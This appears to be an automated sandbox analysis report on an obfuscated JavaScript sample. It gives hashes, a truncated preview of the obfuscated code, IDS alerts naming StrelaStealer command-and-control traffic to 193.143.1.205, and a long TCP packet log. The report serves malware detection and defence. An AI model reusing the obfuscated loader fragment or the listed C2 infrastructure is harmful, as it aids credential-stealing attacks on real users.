MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10401), with no line terminators
Entropy (8bit):	4.979902135392759
TrID:
File name:	3041621112067010510.js
File size:	10'401 bytes
MD5:	2214985aa6a9e9b9e2e486ba3ffa1731
SHA1:	b8afe5b1e9278faa1fa067bb403d61f76a6df7cd
SHA256:	52dc6fcc057233632aade5dba93f69eb7f1499d3572fd5703fab1007ed054ce3
SHA512:	7fe569b66a0719a9d096eebe073e4879138e1c059e191b6460db1f60619d169b56c892cdd0cb034ee18a601a6354d528fa77ba3e03f7137d625ab0892eb83ffe
SSDEEP:	192:YiGu+naIjuzKG+3GKCWz/7Xejwru7/ZS7dYlTRVrv66h5dXRsSsnJZUy6CjT3BiE:v/O53Jz/6ZNnoT3Bi+K5tn5nTG
TLSH:	3D2284DEFDAB5B49C8EB68B5C6A074F2BE48601DC710E3F46491C605EB54E2285EF039
File Content Preview:	function akemqq(){this[zgvuu+xeqcrtaxx+fshtsjcpc+jaaorqdh]("kuvec=[1031,3079,5127,4103,2055,3072];var rzrutptjs=this[iusjnux+fshtsjcpc+zejztlb+yjfcxcusq+zgvuu+yjpaho+umgwvlafa+omlthjx](this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][uzujyj+ze

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T13:25:04.201516+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-13T13:25:04.201516+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-13T13:25:07.029236+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49713	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:25:03.373230934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:03.387864113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:03.388092041 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:03.391201019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:03.396003008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201309919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201334000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201347113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201358080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201369047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201379061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201390028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201400995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201411963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201422930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.201515913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.201517105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.206456900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.248081923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.272413015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.272428036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.272525072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.325690985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325720072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325738907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325748920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325759888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325768948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325779915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325786114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325795889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325805902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325817108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325826883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.325838089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.326077938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.326836109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.326847076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.326859951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.326891899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.326914072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.327174902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.327186108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.327219009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.327370882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.327383041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.327393055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.327413082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.328161001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.328202963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.405390978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.441803932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.441821098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.441833019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.442059994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.444399118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444411039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444468021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.444523096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444540977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444581032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.444709063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444720984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444731951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.444756985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.445082903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445096016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445107937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445117950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445127964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445132017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.445164919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.445888996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445900917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445911884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445921898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445931911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.445935965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445949078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.445955038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.445992947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.446858883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.446870089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.446882010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.446892023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.446902990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.446913958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.446913958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.446938992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.446959019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.447832108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.447844028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.447856903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.447866917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.447879076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.447889090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.447890043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.447910070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.447946072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.448764086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.448776007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.448796034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.448806047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.448817015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.448821068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.448828936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.448846102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.448869944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.449734926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.449747086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.449759960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.449778080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.449780941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.449790955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.449804068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.449820995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.449843884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.492250919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.492268085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.492280960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.492348909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.528512955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.528620005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.563728094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.563743114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.563752890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.563771009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.563782930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.563792944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.563803911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.563851118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566265106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566287041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566330910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566443920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566454887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566464901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566492081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566530943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566543102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566554070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566570044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566608906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566696882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566709042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566720009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566730976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566745043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566772938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.566871881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566898108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.566934109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567342997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567354918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567364931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567384958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567460060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567470074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567481041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567492008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567496061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567502975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567513943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567544937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567694902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567707062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567717075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567737103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567886114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567897081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567908049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567918062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567924976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567929983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.567941904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.567974091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568139076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568150043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568195105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568238020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568249941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568259954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568270922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568280935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568281889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568293095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568304062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568311930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568331003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568787098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568798065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568808079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568819046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568829060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568840027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568842888 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568881035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568895102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568906069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568916082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568926096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568937063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568942070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568948030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568958998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568964005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.568972111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.568984985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569005966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569631100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569672108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569696903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569767952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569804907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569817066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569828033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569843054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569864988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569931984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569941998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569952011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569962025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569971085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569972992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569984913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.569991112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.569997072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.570007086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.570018053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.570034981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.571280956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.571327925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.571327925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.571338892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.571352005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.571369886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.578999043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.579010963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.579022884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.579032898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.579045057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.579051018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.579087019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.579767942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.611095905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.615261078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.615272999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.615329981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.641217947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.650480032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650506973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650526047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650536060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650543928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.650552034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650568962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650580883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650589943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.650590897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650603056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650614023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.650619030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.650664091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.652982950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.652993917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653006077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653017998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653031111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.653072119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.653142929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653153896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653165102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653175116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.653203964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.653230906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.658492088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.685538054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685559034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685570955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685581923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685599089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685599089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.685610056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685621977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685626030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.685626030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685637951 CET	80	49711	193.143.1.205	192.168.2.6
